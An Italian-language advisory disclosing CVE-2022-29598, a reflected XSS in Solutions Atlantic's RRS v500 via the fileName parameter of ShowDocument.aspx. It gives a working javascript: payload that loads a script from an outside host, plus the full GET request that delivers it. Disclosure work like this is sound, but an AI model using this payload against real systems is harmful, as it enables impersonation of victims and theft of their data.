
L'applicazione RRS v500 è vulnerabile a Cross-Site Scripting (XSS) riflesso.
URL Mitre: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29598
URL NIST: https://nvd.nist.gov/vuln/detail/CVE-2022-29598
L'applicazione RRS v500 di Solutions Atlantic è vulnerabile a una vulnerabilità di Cross-Site Scripting (XSS) riflesso. Lo sfruttamento di una vulnerabilità XSS potrebbe consentire a un avversario di impersonare l'utente vittima, divulgare dati sensibili o eseguire azioni che l'utente vittima è autorizzato a compiere.
È stato riscontrato che il parametro fileName accetta input utente e lo riflette nella risposta del server. Sebbene sia stato eseguito un certo filtraggio e sanificazione dell'input utente prima del riflesso, come la codifica di alcuni caratteri speciali (simboli maggiore/minore di), poiché il riflesso avveniva all'interno di un contesto JavaScript, era possibile iniettare codice JavaScript nella risposta del server, bypassando le restrizioni.
URL affetto:
/RRSWeb/maint/ShowDocument/ShowDocument.aspxPayload XSS utilizzato:
javascript:var%20x=document.createElement("script");x.src="https://thegetch.github.io/x";document.body.appendChild(x)';//URL affetto:
/RRSWeb/maint/ShowDocument/ShowDocument.aspxL'applicazione ha la capacità di collegarsi a siti web esterni. Quando si seleziona un collegamento al sito esterno, viene effettuata una richiesta a /RRSWeb/maint/ShowDocument/ShowDocument.aspx con due parametri: fileName, che conterrà l'URL del sito esterno a cui reindirizzare, e requestType, che avrà il valore ExternalLink. Finché il parametro requestType è impostato con il suo valore predefinito, qualsiasi cosa l'utente inserisca nel parametro fileName verrà riflessa in un contesto JavaScript, in particolare all'interno di un window.location.href. Utilizzando un payload XSS con una direttiva JavaScript, è possibile un attacco XSS riflesso con successo.
Richiesta GET con payload XSS:
GET /RRSWeb/maint/ShowDocument/ShowDocument.aspx?requestType=ExternalLink&fileName=javascript:var%20x=document.createElement("script");x.src="https://thegetch.github.io/x";document.body.appendChild(x)';// HTTP/1.1
Host: <REDACTED>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Referer: http://<REDACTED>/RRSweb/default.aspx
Cookie: ASP.NET_SessionId=<REDACTED>
Upgrade-Insecure-Requests: 1
Content-Length: 0
Risposta del server:

Visualizzato nel browser:

Aprile 2022